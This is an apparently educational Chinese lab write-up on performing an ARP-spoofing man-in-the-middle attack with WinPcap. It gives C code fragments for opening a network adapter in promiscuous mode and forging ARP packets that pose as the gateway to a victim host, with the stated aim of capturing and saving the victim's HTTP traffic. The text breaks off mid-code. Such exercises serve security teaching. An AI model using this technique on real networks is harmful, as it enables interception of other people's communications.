一 实验要求
利用WinPcap编程,实现基于ARP欺骗的中 间人攻击。
1)利用WinPcap,分别向被欺骗主机和网关发送APR请求包, 达到同时欺骗目标主机和网关的目的;
2)所有目标主机和网关之间的数据都会被我们劫持,过滤 两者之间的所有http交互数据包,并保存为文件。 (http包的过滤可用80端口来标识)
二 实验原理
1 选择网卡及过滤规则
在这里特别注以下几点:
1 . char packet_filter[] = "not arp";//选择过滤的协议
2 . /* 跳转到用户选择的网卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);
/* 打开网卡 */
adhandle = pcap_open_live(d->name,
65536,
1,
1, //这里读取时间不要设置的太长,否则会超时
errbuf
);
2 ARP欺骗主机和网关
利用WinPcap,分别向被欺骗主机和网关发送APR请求包
创建子线程,在子线程中实现arp欺骗
//欺骗目标主机
unsigned char sendbuf[60], sendbuf1[60]; //arp包结构大小,42个字节
unsigned long dip, sip;
dip = inet_addr(victim_ip);//目标ip
sip = inet_addr(gateway_ip);//网关ip
memset(eh.DestMAC, 0xff, 6);
memcpy(eh.SourMAC, smac, 6); //以太网首部源MAC地址
memcpy(ah.smac, smac, 6); //ARP字段源MAC地址
memset(ah.dmac, 0x00, 6);
memcpy(ah.sip, (const void*)&sip, 4); //ARP字段源IP地址